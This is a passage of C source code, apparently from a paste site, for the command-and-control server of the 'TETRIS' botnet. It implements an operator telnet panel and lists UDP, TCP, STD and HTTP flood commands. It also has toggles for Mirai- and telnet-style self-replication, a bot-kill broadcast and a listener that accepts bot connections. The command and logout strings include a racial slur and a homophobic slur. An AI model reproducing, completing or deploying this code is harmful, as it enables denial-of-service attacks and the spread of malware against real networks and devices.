  553.   sprintf(lol4asciibannerline9,   "\e[96m              \e[31m██║    \e[32m██╔══╝      \e[96m██║    \e[35m██╔══██╗ \e[34m██║ \e[33m╚════██║      \r\n");
  554.   sprintf(lol4asciibannerline10,  "\e[96m              \e[31m██║    \e[32m███████╗    \e[96m██║    \e[35m██║  ██║ \e[34m██║ \e[33m███████║      \r\n");
  555.   sprintf(lol4asciibannerline11,  "\e[39m              \e[31m╚═╝    \e[32m╚══════╝    \e[96m╚═╝    \e[35m╚═╝  ╚═╝ \e[34m╚═╝ \e[33m╚══════╝      \r\n");
  556.   sprintf(lol4asciibannerline12,  "\e[90m                                                                                       \r\n");
  557.   sprintf(lol4asciibannerline13,  "\e[97m         [\e[31m+\e[97m] \e[97mWelcome to the \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mBotnet \e[97m[\e[31m+\e[97m]        \r\n");
  558.   sprintf(lol4asciibannerline14,  "\e[97m         [\e[31m+\e[97m] \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mServerside by \e[96mswitch  \e[97m[\e[31m+\e[97m]        \r\n");
  559.   sprintf(lol4asciibannerline15,  "\e[90m                                                                                       \r\n");
  560.  
  561.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  562.         if(send(datafd, lol4asciibannerline1, strlen(lol4asciibannerline1), MSG_NOSIGNAL) == -1) goto end;
  563.         if(send(datafd, lol4asciibannerline2, strlen(lol4asciibannerline2), MSG_NOSIGNAL) == -1) goto end;
  564.         if(send(datafd, lol4asciibannerline3, strlen(lol4asciibannerline3), MSG_NOSIGNAL) == -1) goto end;
  565.         if(send(datafd, lol4asciibannerline4, strlen(lol4asciibannerline4), MSG_NOSIGNAL) == -1) goto end;
  566.         if(send(datafd, lol4asciibannerline5, strlen(lol4asciibannerline5), MSG_NOSIGNAL) == -1) goto end;
  567.         if(send(datafd, lol4asciibannerline6, strlen(lol4asciibannerline6), MSG_NOSIGNAL) == -1) goto end;
  568.         if(send(datafd, lol4asciibannerline7, strlen(lol4asciibannerline7), MSG_NOSIGNAL) == -1) goto end;
  569.         if(send(datafd, lol4asciibannerline8, strlen(lol4asciibannerline8), MSG_NOSIGNAL) == -1) goto end;
  570.         if(send(datafd, lol4asciibannerline9, strlen(lol4asciibannerline9), MSG_NOSIGNAL) == -1) goto end;
  571.         if(send(datafd, lol4asciibannerline10, strlen(lol4asciibannerline10), MSG_NOSIGNAL) == -1) goto end;
  572.         if(send(datafd, lol4asciibannerline11, strlen(lol4asciibannerline11), MSG_NOSIGNAL) == -1) goto end;
  573.         if(send(datafd, lol4asciibannerline12, strlen(lol4asciibannerline12), MSG_NOSIGNAL) == -1) goto end;
  574.         if(send(datafd, lol4asciibannerline13, strlen(lol4asciibannerline13), MSG_NOSIGNAL) == -1) goto end;
  575.         if(send(datafd, lol4asciibannerline14, strlen(lol4asciibannerline14), MSG_NOSIGNAL) == -1) goto end;
  576.         if(send(datafd, lol4asciibannerline15, strlen(lol4asciibannerline15), MSG_NOSIGNAL) == -1) goto end;
  577.         while(1) {
  578.         char input [5000];
  579.         sprintf(input, "\e[96m%s\e[97m@\e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS\e[97m> ", accounts[find_line].username);
  580.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  581.         break;
  582.         }
  583.         pthread_create(&title, NULL, &TitleWriter, sock);
  584.         managements[datafd].connected = 1;
  585.  
  586.         while(fdgets(buf, sizeof buf, datafd) > 0) {  
  587.             if(strstr(buf, "BOTS")) {
  588.                 char botcount [2048];
  589.                 memset(botcount, 0, 2048);
  590.                 char statuscount [2048];
  591.                 char ops [2048];
  592.                 memset(statuscount, 0, 2048);
  593.                 sprintf(botcount,    "\e[35mBots Connected: \e[32m%d\r\n", BotsConnected(), OperatorsConnected);       
  594.                 sprintf(statuscount, "\e[35mDuplicated Bots: \e[32m%d\r\n", TELFound, scannerreport);
  595.                 sprintf(ops,         "\e[35mUsers Online: \e[32m%d\r\n", OperatorsConnected, scannerreport);
  596.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  597.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  598.                 if(send(datafd, ops, strlen(ops), MSG_NOSIGNAL) == -1) return;
  599.         char input [5000];
  600.         sprintf(input, "\e[96m%s\e[97m@\e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS\e[97m> ", accounts[find_line].username);
  601.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  602.                 continue;
  603.             }
  604.            
  605.             if(strstr(buf, "HELP")) {
  606.                 pthread_create(&title, NULL, &TitleWriter, sock);
  607.                 char hp1  [800];
  608.                 char hp2  [800];
  609.                 char hp3  [800];
  610.                 char hp4  [800];
  611.                 char hp5  [800];
  612.                 char hp6  [800];
  613.                 char hp7  [800];
  614.                 char hp8  [800];
  615.                 char hp9  [800];
  616.  
  617.                 sprintf(hp1,  "\e[97m[---\e[96mList Of Helpfull Commands\e[97m---]\r\n");
  618.                 sprintf(hp2,  "\e[31mSTOP         \e[97m| \e[31mKills All Current Attacks\r\n");
  619.                 sprintf(hp3,  "\e[31mATTACK       \e[97m| \e[31mDisplays Help For DDoS Commands\r\n");
  620.                 sprintf(hp4,  "\e[31mCLEAR        \e[97m| \e[31mClears You Screen\r\n");
  621.                 sprintf(hp5,  "\e[31mBOTS         \e[97m| \e[31mShows The Current Botcount\r\n");
  622.                 sprintf(hp6,  "\e[31mEXITFAG      \e[97m| \e[31mHits You Wit A Swift YEET And Logs You Out\r\n");
  623.                 sprintf(hp7,  "\e[31m!* TELNET    \e[97m| \e[92mON \e[97m| \e[31mOFF \e[97m| \e[96mStarts Telnet Selfrep\r\n");
  624.                 sprintf(hp8,  "\e[31m!* MIRAI     \e[97m| \e[92mON \e[97m| \e[31mOFF \e[97m| \e[96mStarts Mirai Selfrep\r\n");
  625.                 sprintf(hp9,  "\e[31m!* SREP      \e[97m| \e[92mON \e[97m| \e[31mOFF \e[97m| \e[96mStarts SREP Selfrep\r\n");
  626.  
  627.                 if(send(datafd, hp1,  strlen(hp1),  MSG_NOSIGNAL) == -1) goto end;
  628.                 if(send(datafd, hp2,  strlen(hp2),  MSG_NOSIGNAL) == -1) goto end;
  629.                 if(send(datafd, hp3,  strlen(hp3),  MSG_NOSIGNAL) == -1) goto end;
  630.                 if(send(datafd, hp4,  strlen(hp4), MSG_NOSIGNAL) == -1) goto end;
  631.                 if(send(datafd, hp5,  strlen(hp5), MSG_NOSIGNAL) == -1) goto end;
  632.                 if(send(datafd, hp6,  strlen(hp6), MSG_NOSIGNAL) == -1) goto end;
  633.                 if(send(datafd, hp7,  strlen(hp7), MSG_NOSIGNAL) == -1) goto end;
  634.                 if(send(datafd, hp8,  strlen(hp8), MSG_NOSIGNAL) == -1) goto end;
  635.                 if(send(datafd, hp9,  strlen(hp9), MSG_NOSIGNAL) == -1) goto end;
  636.                
  637.                 pthread_create(&title, NULL, &TitleWriter, sock);
  638.         char input [5000];
  639.         sprintf(input, "\e[96m%s\e[97m@\e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS\e[97m> ", accounts[find_line].username);
  640.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  641.                 continue;
  642.             }
  643.                 if(strstr(buf, "ATTACK")) {
  644.                 pthread_create(&title, NULL, &TitleWriter, sock);
  645.                 char ls1  [800];
  646.                 char ls2  [800];
  647.                 char ls3  [800];
  648.                 char ls4  [800];
  649.                 char ls5  [800];
  650.  
  651.                 sprintf(ls1,  "\e[97m[----\e[31mAttack Commands\e[97m----]\r\n");
  652.                 sprintf(ls2,  "\e[31m!* UDP \e[97mIP PORT TIME 32 0 10                  \e[97m|\e[31m Launches A UDP Flood\r\n");
  653.                 sprintf(ls3,  "\e[31m!* TCP \e[97mIP PORT TIME 32 all 0 10              \e[97m|\e[31m Launches A TCP Flood\r\n");
  654.                 sprintf(ls4,  "\e[31m!* STD \e[97mIP PORT TIME SIZE                     \e[97m|\e[31m Launches A STD Flood\r\n");
  655.                 sprintf(ls5,  "\e[31m!* HTTP \e[97mGET|HEAD|POST IP 80 / TIME POWER     \e[97m|\e[31m Launches A HTTP Flood\r\n");
  656.                
  657.                 if(send(datafd, ls1,  strlen(ls1),  MSG_NOSIGNAL) == -1) goto end;
  658.                 if(send(datafd, ls2,  strlen(ls2),  MSG_NOSIGNAL) == -1) goto end;
  659.                 if(send(datafd, ls3,  strlen(ls3),  MSG_NOSIGNAL) == -1) goto end;
  660.                 if(send(datafd, ls4,  strlen(ls4),  MSG_NOSIGNAL) == -1) goto end;
  661.                 if(send(datafd, ls5,  strlen(ls5),  MSG_NOSIGNAL) == -1) goto end;
  662.  
  663.                 pthread_create(&title, NULL, &TitleWriter, sock);
  664.         char input [5000];
  665.         sprintf(input, "\e[96m%s\e[97m@\e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS\e[97m> ", accounts[find_line].username);
  666.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  667.                 continue;
  668.         }
  669.             if(strstr(buf, "!* BOTKILL")) {
  670.                 char gtfomynet [2048];
  671.                 memset(gtfomynet, 0, 2048);
  672.                 sprintf(gtfomynet, "!* BOTKILL\r\n");
  673.                 broadcast(buf, datafd, gtfomynet);
  674.                 continue;
  675.             }
  676.             if(strstr(buf, "STOP"))
  677.             {
  678.                 char killattack [2048];
  679.                 memset(killattack, 0, 2048);
  680.                 char killattack_msg [2048];
  681.                
  682.                 sprintf(killattack, "\e[31m[ATTACKS] \e[37mAttempting To Stop All Attacks\r\n");
  683.                 broadcast(killattack, datafd, "output.");
  684.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  685.                 while(1) {
  686.         char input [5000];
  687.         sprintf(input, "\e[96m%s\e[97m@\e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS\e[97m> ", accounts[find_line].username);
  688.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  689.                 break;
  690.                 }
  691.                 continue;
  692.             }
  693.             if(strstr(buf, "CLEAR")) {
  694.                 char clearscreen [2048];
  695.                 memset(clearscreen, 0, 2048);
  696.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  697.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  698.                 if(send(datafd, lol4asciibannerline1, strlen(lol4asciibannerline1), MSG_NOSIGNAL) == -1) goto end;
  699.                 if(send(datafd, lol4asciibannerline2, strlen(lol4asciibannerline2), MSG_NOSIGNAL) == -1) goto end;
  700.                 if(send(datafd, lol4asciibannerline3, strlen(lol4asciibannerline3), MSG_NOSIGNAL) == -1) goto end;
  701.                 if(send(datafd, lol4asciibannerline4, strlen(lol4asciibannerline4), MSG_NOSIGNAL) == -1) goto end;
  702.                 if(send(datafd, lol4asciibannerline5, strlen(lol4asciibannerline5), MSG_NOSIGNAL) == -1) goto end;
  703.                 if(send(datafd, lol4asciibannerline6, strlen(lol4asciibannerline6), MSG_NOSIGNAL) == -1) goto end;
  704.                 if(send(datafd, lol4asciibannerline7, strlen(lol4asciibannerline7), MSG_NOSIGNAL) == -1) goto end;
  705.                 if(send(datafd, lol4asciibannerline8, strlen(lol4asciibannerline8), MSG_NOSIGNAL) == -1) goto end;
  706.                 if(send(datafd, lol4asciibannerline9, strlen(lol4asciibannerline9), MSG_NOSIGNAL) == -1) goto end;
  707.                 if(send(datafd, lol4asciibannerline10, strlen(lol4asciibannerline10), MSG_NOSIGNAL) == -1) goto end;
  708.                 if(send(datafd, lol4asciibannerline11, strlen(lol4asciibannerline11), MSG_NOSIGNAL) == -1) goto end;
  709.                 while(1) {
  710.         char input [5000];
  711.         sprintf(input, "\e[96m%s\e[97m@\e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS\e[97m> ", accounts[find_line].username);
  712.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  713.                 break;
  714.                 }
  715.                 continue;
  716.             }
  717.             if(strstr(buf, "EXITFAG")) {
  718.             pthread_create(&title, NULL, &TitleWriter, sock);
  719.             char logoutmessage1 [2048];
  720.             char logoutmessage2 [2048];
  721.             char logoutmessage3 [2048];
  722.             char logoutmessage4 [2048];
  723.             char logoutmessage5 [2048];
  724.             char logoutmessage6 [2048];
  725.  
  726.             sprintf(logoutmessage1, "\e[90m        _    _\r\n");
  727.             sprintf(logoutmessage2, "     \e[97m__\e[38;5;202m|\e[97m_\e[38;5;202m|\e[97m__\e[38;5;202m|\e[97m_\e[38;5;202m|\e[97m__\r\n");
  728.             sprintf(logoutmessage3, "\e[97m   \e[31m_\e[97m|\e[31m____________\e[97m|\e[31m__\r\n");
  729.             sprintf(logoutmessage4, "\e[31m  |o o o o o o o o /  \r\n");
  730.             sprintf(logoutmessage5, "\e[96m~'`~'`~'`~'`~'`~'`~'`~\r\n");
  731.             sprintf(logoutmessage6, "\e[96mBIG BOATS MY NIGGA, YEET\r\n");
  732.  
  733.             if(send(datafd, logoutmessage1, strlen(logoutmessage1), MSG_NOSIGNAL) == -1)goto end;
  734.             if(send(datafd, logoutmessage2, strlen(logoutmessage2), MSG_NOSIGNAL) == -1)goto end;
  735.             if(send(datafd, logoutmessage3, strlen(logoutmessage3), MSG_NOSIGNAL) == -1)goto end;
  736.             if(send(datafd, logoutmessage4, strlen(logoutmessage4), MSG_NOSIGNAL) == -1)goto end;
  737.             if(send(datafd, logoutmessage5, strlen(logoutmessage5), MSG_NOSIGNAL) == -1)goto end;
  738.             if(send(datafd, logoutmessage6, strlen(logoutmessage6), MSG_NOSIGNAL) == -1)goto end;
  739.             sleep(5);
  740.             goto end;
  741.             }
  742.  
  743.             trim(buf);
  744.         char input [5000];
  745.         sprintf(input, "\e[96m%s\e[97m@\e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS\e[97m> ", accounts[find_line].username);
  746.         if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  747.             if(strlen(buf) == 0) continue;
  748.             printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  749.  
  750.             FILE *LogFile;
  751.             LogFile = fopen("history.log", "a");
  752.             time_t now;
  753.             struct tm *gmt;
  754.             char formatted_gmt [50];
  755.             char lcltime[50];
  756.             now = time(NULL);
  757.             gmt = gmtime(&now);
  758.             strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  759.             fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  760.             fclose(LogFile);
  761.             broadcast(buf, datafd, accounts[find_line].username);
  762.             memset(buf, 0, 2048);
  763.         }
  764.  
  765.         end:
  766.         managements[datafd].connected = 0;
  767.         close(datafd);
  768.         OperatorsConnected--;
  769. }
  770. void *BotListener(int port) {
  771.     int sockfd, newsockfd;
  772.     socklen_t clilen;
  773.     struct sockaddr_in serv_addr, cli_addr;
  774.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  775.     if (sockfd < 0) perror("ERROR opening socket");
  776.     bzero((char *) &serv_addr, sizeof(serv_addr));
  777.     serv_addr.sin_family = AF_INET;
  778.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  779.     serv_addr.sin_port = htons(port);
  780.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  781.     listen(sockfd,5);
  782.     clilen = sizeof(cli_addr);
  783.     while(1) {
  784.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  785.         if (newsockfd < 0) perror("ERROR on accept");
  786.         pthread_t thread;
  787.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  788. }}
  789. int main (int argc, char *argv[], void *sock) {
  790.         signal(SIGPIPE, SIG_IGN);
  791.         int s, threads, port;
  792.         struct epoll_event event;
  793.         if (argc != 4) {
  794.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  795.             exit (EXIT_FAILURE);
  796.         }
  797.         port = atoi(argv[3]);
  798.         telFD = fopen("telnet.txt", "a+");
  799.         threads = atoi(argv[2]);
  800.         listenFD = create_and_bind (argv[1]);
  801.         if (listenFD == -1) abort ();
  802.         s = make_socket_non_blocking (listenFD);
  803.         if (s == -1) abort ();
  804.         s = listen (listenFD, SOMAXCONN);
  805.         if (s == -1) {
  806.             perror ("listen");
  807.             abort ();
  808.         }
  809.         epollFD = epoll_create1 (0);
  810.         if (epollFD == -1) {
  811.             perror ("epoll_create");
  812.             abort ();
  813.         }
  814.         event.data.fd = listenFD;
  815.         event.events = EPOLLIN | EPOLLET;
  816.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  817.         if (s == -1) {
  818.             perror ("epoll_ctl");
  819.             abort ();
  820.         }
  821.         pthread_t thread[threads + 2];
  822.         while(threads--) {
  823.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  824.         }
  825.         pthread_create(&thread[0], NULL, &BotListener, port);
  826.         while(1) {
  827.             broadcast("PING", -1, "ZERO");
  828.             sleep(60);
  829.         }
  830.         close (listenFD);
  831.         return EXIT_SUCCESS;
  832. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement